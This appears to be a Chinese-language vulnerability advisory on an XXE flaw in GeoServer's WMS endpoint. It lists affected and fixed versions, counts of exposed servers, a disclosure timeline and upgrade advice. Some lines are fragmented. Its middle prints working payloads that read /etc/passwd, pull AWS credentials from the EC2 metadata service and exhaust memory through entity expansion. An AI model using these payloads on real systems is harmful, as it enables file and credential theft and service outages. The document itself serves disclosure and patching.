
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L这是一个在 Web 地图服务 (WMS) GetMap 端点的经典但极具破坏性的 XXE。
攻击者可以:
/etc/passwd、geoserver.xml、私钥等)| 组件 | 受影响版本 | 修复版本 | 状态 |
|---|---|---|---|
| GeoServer 独立版 | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.3, 2.25.6, 2.27.0 | 🔴 易受攻击 |
| Docker (osgeo/geoserver) | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.2+, 2.27.0 | 🔴 易受攻击 |
| Maven org.geoserver:gs-wms | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.2+, 2.25.6 | 🔴 易受攻击 |
| Maven org.geoserver.web:gs-web-app | 2.26.0 – 2.26.1 ≤ 2.25.5 | 2.26.2+, 2.25.6 | 🔴 易受攻击 |
| GeoServer 2.27.x 及更高版本 | – | 已修补 | ✅ 安全 |
| 来源 | 暴露实例数量 | 备注 |
|---|---|---|
| ZoomEye | ~49,400 | app:"GeoServer" 搜索 |
| FOFA | ~24,000 | 过去一年内的结果 |
| Shodan | ~31,000 | 端口 8080 + 标题匹配 |
| GobySec | ~20,000 | 公共网络扫描 |
→ 当前有数万台可能易受攻击的服务器暴露在公网上!🌐
端点: POST /geoserver/wms
关键参数: SLD_BODY(允许原始 XML 样式)
易受攻击的代码路径: XML 解析器未禁用外部实体解析 → 经典 XXE。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<sld:StyledLayerDescriptor xmlns:sld="http://www.opengis.net/sld" version="1.0.0">
<sld:UserLayer>
<sld:LayerFeatureConstraints>
<sld:FeatureTypeConstraint>&xxe;</sld:FeatureTypeConstraint>
</sld:LayerFeatureConstraints>
</sld:UserLayer>
</sld:StyledLayerDescriptor>
→ 响应中包含 /etc/passwd 的内容 🎉
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
→ 如果在 EC2 上运行,会泄露临时 AWS 凭证。
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- 重复到 lol9 -->
]>
<lol>&lol9;</lol>
→ 几秒内消耗数 GB 内存 💥
| 版本 | 发布日期 | 下载链接 |
|---|---|---|
| 2.27.0 | 2025年11月25日 | https://geoserver.org/release/stable/ |
| 2.26.3 | 2025年11月25日 | 维护分支补丁 |
| 2.25.6 | 2025年11月25日 | 旧版支持分支 |
Docker 用户:
docker pull osgeo/geoserver:2.27.0
<!ENTITY 或 SYSTEM "file:// 的请求| 日期 | 事件 |
|---|---|
| 2025年11月前 | 由 XBOW AI 扫描器自主发现 |
| 2025年11月25日 | 协调披露 → 发布补丁 |
| 2025年11月25日 | CVE 分配并公开 |
| 2025年11月26日 | PoC 广泛传播,暴露扫描激增 |
这是一个教科书级的 XXE,影响广泛部署的地理空间平台,存在数万台面向互联网的实例。
补丁与披露同日发布——感谢 GeoServer 团队的快速响应!🏆
但从补丁可用到大规模利用的窗口正在迅速缩小。
如果你运行 GeoServer → 立即升级。
不要成为下一个头条新闻。
保持安全,保持闪耀!🛡️✨